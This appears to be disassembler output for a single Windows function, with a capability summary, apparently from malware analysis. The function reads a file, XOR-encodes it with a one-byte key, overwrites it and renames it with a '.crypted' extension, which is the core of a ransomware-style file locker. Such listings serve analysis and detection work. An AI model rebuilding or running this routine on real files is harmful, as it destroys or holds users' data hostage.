Function at 0x1400017f0
Capabilities:
Encode data using xor
Move file
Read file on windows
Write file on windows

Disassembly:
push rsi
push rdi
push r15
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov r15d, edx
mov rsi, rcx
lea rdx, [0x14000372c]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x14000184a
mov rdx, rsi
lea rcx, str.____Failed_to_open_file_for_reading:__s_n
call fcn.140001060
lea rcx, [0x14000375c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
jmp 0x140001b02
xor edx, edx
mov qword [rsp + 0x168], rbx
mov qword [rsp + 0x170], rbp
mov rcx, rdi
mov qword [rsp + 0x178], r14
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, rdi
movsxd rbp, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rbp
mov r14, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x1400018b4
lea rcx, str.____Memory_allocation_failed_n
call fcn.140001060
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140001aea
mov r9, rdi
mov r8, r14
mov edx, 1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400018f6
lea rcx, str.____Memory_allocation_failed_n
call fcn.140001060
mov rcx, rbx
jmp 0x140001ae4
xor edx, edx
mov r8d, edx
test ebp, ebp
jle 0x1400019a7
cmp ebp, 0x40
jb 0x1400019a7
lea eax, [rbp - 1]
movsxd rcx, eax
lea rax, [rcx + rbx]
lea r9, [rcx + rdi]
cmp rdi, rax
ja 0x140001928
cmp r9, rbx
jae 0x1400019a7
movsx eax, r15b
movd xmm2, eax
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
mov eax, ebp
and eax, 0x8000003f
jge 0x14000194d
dec eax
or eax, 0xffffffc0
inc eax
sub ebp, eax
mov rcx, rbx
movsxd r9, ebp
sub rcx, rdi
nop dword [rax + rax]
movdqu xmm1, xmmword [rbx + rdx + 0x20]
lea rax, [rdx + rdi]
add r8d, 0x40
movdqu xmm0, xmmword [rcx + rax]
xorps xmm1, xmm2
xorps xmm0, xmm2
movdqu xmmword [rax], xmm0
movdqu xmm0, xmmword [rbx + rdx + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [rbx + rdx + 0x30]
add rdx, 0x40
movdqu xmmword [rax + 0x20], xmm1
xorps xmm0, xmm2
movdqu xmmword [rax + 0x30], xmm0
cmp rdx, r9
jl 0x140001960
movsxd rax, r8d
cmp rax, r14
jge 0x1400019d4
mov r8, rbx
lea rcx, [rax + rdi]
sub r8, rdi
mov rdx, r14
sub rdx, rax
nop
movzx eax, r15b
xor al, byte [r8 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1400019c0
lea rdx, [0x140003788]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbp, rax
test rax, rax
jne 0x140001a0d
mov rdx, rsi
lea rcx, str.____Failed_to_open_file_for_writing:__s_n
call fcn.140001060
lea rcx, [0x14000375c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
jmp 0x140001ad8
mov r9, rbp
mov r8, r14
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, r14
je 0x140001a50
mov rdx, rsi
lea rcx, str.____Failed_to_write_encrypted_data_to_file:__s_n
call fcn.140001060
lea rcx, [0x1400037f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140001ad8
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r9, rsi
lea r8, str._s.crypted
mov edx, 0x104
lea rcx, [rsp + 0x20]
call fcn.1400010c0
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
test eax, eax
je 0x140001aa2
mov rdx, rsi
lea rcx, str.____Failed_to_rename_file:__s_n
call fcn.140001060
lea rcx, [0x140003828]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
jmp 0x140001ad8
lea rdx, [rsp + 0x20]
lea rcx, str.___Encrypted:__s_n
call fcn.140001060
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
movsxd rdx, dword [0x1400075a0]
lea r8, [0x140005660]
mov qword [r8 + rdx*8], rax
inc edx
mov dword [0x1400075a0], edx
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbp, qword [rsp + 0x170]
mov rbx, qword [rsp + 0x168]
mov r14, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140001da0
add rsp, 0x140
pop r15
pop rdi
pop rsi
ret